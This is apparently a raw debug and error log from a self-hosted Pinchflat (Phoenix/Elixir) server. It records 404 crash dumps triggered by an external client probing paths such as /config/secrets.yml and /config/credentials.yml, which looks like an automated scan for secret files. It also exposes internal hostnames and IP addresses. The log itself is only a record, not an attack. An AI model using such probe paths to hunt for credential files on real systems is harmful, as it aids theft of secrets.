s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.409 [debug] QUERY OK source="settings" db=0.0ms idle=19.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.409 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.411 [info] GET /config/credentials.yml 21:08:45.411 [debug] QUERY OK source="settings" db=0.1ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.411 [debug] QUERY OK source="settings" db=0.0ms idle=14.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.411 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.410 [error] #PID<0.3448.0> running PinchflatWeb.Endpoint (connection #PID<0.3447.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/secrets.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3447.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/secrets.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50170}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3448.0>, params: %{}, path_info: ["config", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0QUcpwsJw8AARKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3447.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/secrets.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50170}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3447.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/secrets.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50170}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3448.0>, params: %{}, path_info: ["config", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:45.411 [error] #PID<0.3450.0> running PinchflatWeb.Endpoint (connection #PID<0.3449.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/credentials.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3449.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/credentials.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50172}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3450.0>, params: %{}, path_info: ["config", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/credentials.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0Qr81wUkEwAAB2D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3449.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/credentials.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50172}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3449.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/credentials.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50172}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3450.0>, params: %{}, path_info: ["config", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1 (truncated) 21:08:45.416 [info] GET /config/settings.json 21:08:45.416 [debug] QUERY OK source="settings" db=0.0ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.416 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.416 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.417 [error] #PID<0.3452.0> running PinchflatWeb.Endpoint (connection #PID<0.3451.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3451.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/settings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50176}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3452.0>, params: %{}, path_info: ["config", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0R9MMHa6usAARMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3451.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/settings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50176}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3451.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/settings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50176}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3452.0>, params: %{}, path_info: ["config", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 (truncated) 21:08:45.457 [info] GET /config/config.json 21:08:45.457 [debug] QUERY OK source="settings" db=0.1ms idle=47.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.457 [debug] QUERY OK source="settings" db=0.1ms idle=46.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.457 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.457 [error] #PID<0.3454.0> running PinchflatWeb.Endpoint (connection #PID<0.3453.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50182}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3454.0>, params: %{}, path_info: ["config", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0bqPdYxshEAAROB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50182}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50182}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3454.0>, params: %{}, path_info: ["config", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], 